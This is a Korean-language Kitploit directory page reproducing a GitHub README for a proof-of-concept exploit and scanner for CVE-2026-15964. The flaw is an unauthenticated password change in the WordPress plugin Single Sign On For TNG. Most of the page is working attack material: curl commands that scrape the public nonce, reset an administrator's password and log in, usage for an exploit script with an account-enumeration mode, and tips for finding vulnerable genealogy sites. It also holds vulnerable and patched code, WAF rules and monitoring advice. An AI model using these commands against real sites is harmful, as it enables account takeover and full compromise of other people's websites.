Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-15964-PoC — CVE-2026-15964용 PoC 및 검사기 - WordPress 플러그인 Single Sign On For TNG <= 2.0.0의 인증되지 않은 비밀번호 변경 (CVSS 9.8) | Kitploit
도구/GitHubGitHub/instructor-admin/cve-2026-15964-poc
Authentication & AuthorizationPrivilege EscalationWeb Vulnerability ScannersExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration Testing

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
instructor-admin/cve-2026-15964-poc

CVE-2026-15964-PoC

CVE-2026-15964용 PoC 및 검사기 - WordPress 플러그인 Single Sign On For TNG <= 2.0.0의 인증되지 않은 비밀번호 변경 (CVSS 9.8)

저장소 보기
119일 전아직 검토되지 않음

CVE-2026-15964 - Single Sign On For TNG <= 2.0.0

POC

검증되지 않은 비밀번호 변경을 통한 인증되지 않은 권한 상승 WordPress 플러그인 Single Sign On For TNG에서 발생합니다.

심각도Critical (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-620 (검증되지 않은 비밀번호 변경)
영향 범위플러그인 버전 1.0.0 ~ 2.0.0
수정 버전2.1.0 (2026-07-27 출시)
공개일2026-08-01
인증 요구없음 (wp_ajax_nopriv_ssoprocess_ajax)
영향관리자를 포함한 모든 WordPress 계정의 비밀번호 변경 가능 - 완전한 사이트 장악
플러그인https://wordpress.org/plugins/single-sign-on-for-tng/

TL;DR

인증되지 않은 모든 방문자가 2.0.0 이하 버전의 플러그인을 실행 중인 사이트의 모든 계정 비밀번호를 변경할 수 있습니다. HTTP 요청 두 번이면 됩니다:

  1. 홈페이지를 GET으로 요청하고 SSOPWDREQUIREMENT JavaScript 객체에서 nonce를 복사합니다.
  2. operation=setnewpassword, 피해자 이메일, 새 비밀번호와 함께 admin-ajax.php로 POST합니다.

나머지는 WordPress 코어의 reset_password()가 처리합니다. 토큰도, 이메일 확인 링크도, 권한 검사도 없습니다. 이후 관리자로 로그인하면 됩니다.

root@kitploit:~
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}

왜 이런 일이 발생하는가

핸들러가 인증되지 않은 사용자에게도 등록되어 있음

single-sign-on-for-tng.php(v2.0.0)에서:

root@kitploit:~
add_action('wp_ajax_ssoprocess_ajax',        array($this, 'ssoprocess_ajax'));   // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax'));   // line 69

wp_ajax_nopriv_*는 세션 없이도 핸들러에 접근할 수 있음을 의미합니다.

유일한 방어 수단은 플러그인이 모든 방문자에게 제공하는 nonce

load_scripts()는 wp_enqueue_scripts에 연결되어 있으므로 모든 프런트엔드 페이지에서 플러그인은 다음을 HTML에 출력합니다:

root@kitploit:~
wp_localize_script('general_script','SSOPWDREQUIREMENT',
    array('passwordspec'=>PASSWORDSPEC,
          'url'=>admin_url('admin-ajax.php'),
          'nonce'=>wp_create_nonce("ssoajaxnonce")));                              // line 96

다음과 같이 렌더링됩니다:

root@kitploit:~
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>

그리고 핸들러는 다음과 같이 검증합니다:

root@kitploit:~
public function ssoprocess_ajax() {
    global $wpdb;
    check_ajax_referer('ssoajaxnonce', 'nonce');   // line 104
    ...

문제는 이렇습니다: WordPress는 uid와 세션 토큰을 사용해 wp_create_nonce($action)으로 nonce를 계산합니다. 로그아웃된 방문자의 경우 이 값은 0과 빈 문자열이므로, 모든 익명 방문자는 똑같은 nonce를 받습니다. nonce는 12시간마다만 다시 생성됩니다(nonce tick). 따라서 플러그인이 어떤 방문자에게 출력하는 nonce는 공격자에게도 유효합니다. 훔칠 비밀이 없으며, 페이지 자체에 공개되어 있습니다.

그리고 소유권 증명 없이 이루어지는 실제 변경

root@kitploit:~
switch ($op) {
    case 'setnewpassword':
        if (!isset($post['email']) || !isset($post['password'])) { ... }
        $email = wp_unslash($post['email']);
        $user  = get_user_by('email', $email);
        if ($user !== false) {
            reset_password($user, $post['password']);   // line 120
            ...
            wp_send_json_success(array('success'=>true));
        }
        else
            wp_send_json_error(array('success'=>false));
        break;

reset_password()는 WordPress 코어 함수입니다. 새 해시를 설정하고, 피해자를 다른 모든 세션에서 로그아웃시키며, password_reset / after_password_reset 액션을 발생시킵니다. 이 함수는 호출자가 계정 소유자임을 증명하는 어떤 것도 없이 호출됩니다.

알아둘 만한 추가 사항 두 가지:

  • 이 경로에는 서버 측 비밀번호 강도 검사가 없습니다. 플러그인의 MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC 규칙은 Forminator 폼용 validate_form()에서만 적용되며, 여기서는 절대 적용되지 않습니다. 어떤 비밀번호든 허용됩니다.
  • 계정 존재 여부 확인. {"success":true}와 {"success":false}를 비교하면 이메일이 등록되어 있는지 알 수 있습니다. 체커의 --enum-only 모드가 이를 활용합니다.
  • 같은 함수의 추가 버그: operation=set_tzoffset은 인증 없이 update_option('localtzoffset', $post['timezoneoffset'])을 호출합니다. RCE로 직접 악용할 수는 없지만, 인증되지 않은 옵션 쓰기이므로 writeup에서 언급할 가치가 있습니다.

2.1.0에서 변경된 사항

2.0.0과 2.1.0을 비교하면 수정 사항이 명확해집니다(그리고 버그도 확인됩니다):

root@kitploit:~
             case 'setnewpassword':
+                $timeout = intval($post['timeout']);
+                if (time() > $timeout) {
+                    // clears custom_recovery_token / _expiration / _nonce user meta
+                    wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+                    return;
+                }
                 $email = wp_unslash($post['email']);
                 $user  = get_user_by('email',$email);
                 if ($user !== false) {
                     reset_password($user,$post['password']);

그리고 newpasswordform()에서:

root@kitploit:~
+            if (empty($_GET['uid']))
+                return ... "An unexpected error occurred." ...
+            $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+            // The nonce is checked here
+            if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+                return ... "This recovery link is no longer valid." ...

따라서 2.1.0에서는 흐름이 이렇습니다: 실제 복구 요청이 사용자 메타에 사용자별 custom_recovery_token + custom_recovery_nonce를 저장하고, 복구 링크가 사용자 ID를 전달하며, 폼이 둘 다 검증하고, AJAX 핸들러는 복구 기간(timeout)이 만료되면 실행을 거부합니다. 유효한 복구 레코드를 만들 수 없는 공격자는 더 이상 setnewpassword를 실행할 수 없습니다.


재현 방법 (수동)

1단계 - nonce 스크래핑

root@kitploit:~
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"

2단계 - 비밀번호 변경

root@kitploit:~
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"

취약한 설치 환경에서 예상되는 응답: {"success":true}

3단계 - 로그인

root@kitploit:~
curl -sk -X POST https://target/wp-login.php \
  -d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"

PoC: CVE-2026-15964.py

단일 사이트 익스플로잇. 비파괴 모드 포함.

root@kitploit:~
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'

# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only

# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12

# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only

# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check

체커: CVE-2026-15964-checker.py

자체 사이트 목록을 위한 배치 스캐너입니다. 설계상 비파괴적 - 비밀번호를 절대 변경하지 않습니다.

각 사이트를 분류하는 방법:

  1. HTML 핑거프린트 - 홈페이지의 SSOPWDREQUIREMENT 객체 또는 /wp-content/plugins/single-sign-on-for-tng/ 에셋 경로.
  2. 버전 - readme.txt의 Stable tag: 줄. <= 2.0.0이면 취약, >= 2.1.0이면 패치됨. CVE 기준으로 가장 신뢰할 수 있는 방법입니다.
  3. 동작 프로브 (--probe, 버전을 읽을 수 없을 때만) - 존재하지 않는 이메일로 operation=setnewpassword를 POST합니다. 2.0.0 설치 환경은 오류 메시지 없이 {"success":false}로 응답하고, 2.1.0 설치 환경은 "time to submit the new password expired" 메시지로 응답합니다. 실제 이메일은 절대 전송되지 않습니다. 전송하면 실제로 비밀번호가 초기화되기 때문입니다.
root@kitploit:~
# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv

# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com

출력 예시:

root@kitploit:~
URL                                             VERDICT           VER      NONCE  DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com                         VULNERABLE        2.0.0    yes    readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com                        PATCHED           2.1.0    yes    readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com                    PLUGIN_NOT_FOUND  -        -      

Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1

판정: VULNERABLE / PATCHED / PLUGIN_NOT_FOUND / NOT_WORDPRESS / UNKNOWN / ERROR. UNKNOWN은 일반적으로 WAF, 공격적인 CDN 캐시 또는 readme를 차단하는 사이트를 의미합니다. 수동으로 확인하세요.


도구 로컬 테스트

tests/mock_server.py는 여섯 가지 경우를 에뮬레이션합니다(버전 기준 취약, 버전 기준 패치, 프로브 기준 취약, 프로브 기준 패치, 플러그인이 없는 WordPress, WordPress 아님). 실제 환경을 대상으로 하기 전에 체커 로직을 검증한 방법입니다:

root@kitploit:~
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme

# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE

pip install -r requirements.txt로 유일한 의존성(requests)을 설치할 수 있습니다.


현장 메모

솔직한 맥락입니다. 이 도구를 사용하는 방식에 영향을 주기 때문입니다.

  • 이 플러그인은 TNG(The Next Generation of Genealogy Sitebuilding), 즉 취미용 족보(genealogy) 사이트를 대상으로 합니다. 매우 작은 생태계입니다: wordpress.org에서 누적 다운로드 약 1,600회, 활성 설치 수는 비공개(< 10), 첫 배포는 2024년 10월입니다.
  • 2.1.0이 2026-07-27에야 등장했기 때문에 압도적 다수의 다운로드는 취약한 버전입니다. 설치 환경을 찾는다면 여전히 취약할 가능성이 매우 높습니다.
  • 발견이 가장 어려운 부분입니다. 이 플러그인은 Shodan 인덱스에 흔적을 남기지 않으며(생각할 수 있는 모든 핑거프린트를 확인했지만 결과 0건), Shodan이 반환하는 상위 1,000개 WordPress 호스트를 핑거프린팅해도 설치 환경을 찾지 못했습니다. 가장 좋은 소스는: Google inurl:"single-sign-on-for-tng", 전체 페이지 소스를 인덱싱하는 검색 엔진(PublicWWW, Censys, FOFA)의 "SSOPWDREQUIREMENT", 그리고 TNG 커뮤니티 자체(tngsitebuilding.com, 족보 포럼)입니다.
  • 실제 족보 사이트에서는 체커의 UNKNOWN 항목이 상대적으로 많을 것입니다. 많은 사이트가 공격적인 캐싱 뒤에서 실행되거나 readme.txt를 차단합니다. 이를 "취약하지 않음"으로 해석하지 말고 수동으로 확인하세요.

탐지 및 해결 방법

  • 2.1.0으로 업데이트하세요(또는 플러그인을 완전히 제거하세요).
  • WAF 규칙: 인증된 세션에서 오지 않은 action=ssoprocess_ajax admin-ajax.php POST를 거부하고, 익명 소스의 setnewpassword에 대해 경고를 발생시키세요.
  • wp_users.user_pass 해시 변경과 password_reset / after_password_reset 액션을 모니터링하고, 비밀번호 변경 직후의 관리자 로그인을 주시하세요.
  • ssoajaxnonce를 공개 정보로 취급하세요. 실제로 항상 그래왔습니다.

참고 자료

  • https://www.cve.org/CVERecord?id=CVE-2026-15964
  • https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-15964
  • https://www.wordfence.com/threat-intel/vulnerabilities/id/1d8d393e-764c-491d-8afb-7d4f8d0c387a?source=cve
  • 취약한 소스 (2.0.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.0.0/single-sign-on-for-tng.php
  • 수정된 소스 (2.1.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.1.0/single-sign-on-for-tng.php
  • https://plugins.trac.wordpress.org/changeset?reponame=&old=3624827%40single-sign-on-for-tng&new=3624827%40single-sign-on-for-tng

면책 조항

이 저장소는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 본인의 행동에 대한 책임은 본인에게 있습니다. 소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에 이러한 도구를 실행하지 마십시오. 컴퓨터 시스템에 대한 무단 접근은 대부분의 국가에서 범죄입니다.

도구 다운로드